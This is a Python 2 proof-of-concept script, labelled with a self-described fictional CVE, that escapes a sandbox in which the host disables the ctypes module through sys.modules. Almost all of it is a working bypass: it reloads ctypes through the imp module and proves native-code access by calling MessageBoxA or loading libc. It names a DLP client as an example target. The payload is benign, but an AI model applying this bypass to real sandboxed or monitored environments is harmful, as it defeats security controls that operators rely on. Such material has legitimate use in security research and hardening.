Vulnerable code sample

#
# Vulnerability: Bypass of ctypes library restriction in a sandboxed Python environment.
# Fictional CVE: CVE-2025-14026
# Description: This script demonstrates how a restriction on the 'ctypes' module
# could be bypassed in a Python 2.5 environment. The "host application" attempts
# to disable ctypes by manipulating sys.modules, but the module can be reloaded
# using the lower-level 'imp' module.

import sys
import os

# --- Start of Simulated Restricted Environment ---
# The host application (e.g., Forcepoint DLP Client) would execute this
# part first to "disable" the ctypes module. A simple way to do this is to
# place None in the sys.modules cache for 'ctypes'.
print "[*] Simulating restricted environment: Disabling 'ctypes' via sys.modules."
sys.modules['ctypes'] = None
# --- End of Simulated Restricted Environment ---


# --- First, demonstrate that the standard import is now blocked ---
print "\n[*] Attempting to import ctypes using the standard method..."
try:
    import ctypes
    print "[+] Standard import successful? This should not happen."
    # In a real scenario, this import would either fail with an ImportError
    # or 'ctypes' would be None, causing a subsequent AttributeError.
    if ctypes:
        ctypes.windll.user32.MessageBoxA(0, "Standard import worked?", "Error", 0)
    else:
        print "[-] Standard import resulted in 'None'. Restriction is working."
except ImportError:
    print "[-] Standard import failed as expected."
except Exception as e:
    print "[-] Standard import failed as expected with error: %s" % str(e)


# --- The Bypass Technique ---
# The vulnerability is that while 'import ctypes' is blocked, lower-level
# import mechanisms are not. The 'imp' module can find and load the module
# directly from the filesystem, bypassing the sys.modules cache check.
print "\n[*] Attempting to bypass the restriction using the 'imp' module..."
try:
    import imp
    
    # imp.find_module searches for the module without checking sys.modules first.
    # It will find the 'ctypes' package directory on the Python path.
    fp, pathname, description = imp.find_module('ctypes')
    
    # imp.load_module loads the found module. This re-populates sys.modules['ctypes']
    # with the actual module object, effectively undoing the restriction.
    ctypes_bypassed = imp.load_module('ctypes', fp, pathname, description)
    
    print "[+] Bypass successful! 'ctypes' module loaded at:", ctypes_bypassed
    
    # Close the file pointer if one was opened
    if fp:
        fp.close()

    # --- Verification ---
    # Now that the bypass is complete, we demonstrate that we have full access
    # to the ctypes library and can call arbitrary native functions.
    # We will call the MessageBoxA function from user32.dll on Windows.
    print "[*] Verifying bypass by calling a native WinAPI function..."

    # On non-Windows, this part will fail, but the bypass itself is platform-agnostic.
    if os.name == 'nt':
        # Use the bypassed module object to access windll
        ctypes_bypassed.windll.user32.MessageBoxA(
            0,
            "The ctypes restriction has been bypassed.",
            "CVE-2025-14026 PoC",
            0x00000040 # MB_ICONINFORMATION
        )
        print "[+] MessageBoxA successfully called. The system is vulnerable."
    else:
        print "[!] Not on Windows. Cannot call MessageBoxA, but bypass was successful."
        # Example for Linux: print libc path
        try:
            libc = ctypes_bypassed.CDLL("libc.so.6")
            print "[+] Successfully loaded libc.so.6 on Linux."
        except Exception as e:
            print "[-] Could not load libc on this system: %s" % str(e)

except ImportError as e:
    print "[-] Bypass failed: 'imp' module not found? Error: %s" % str(e)
except Exception as e:
    print "[-] Bypass failed. Could not find or load 'ctypes'. Error: %s" % str(e)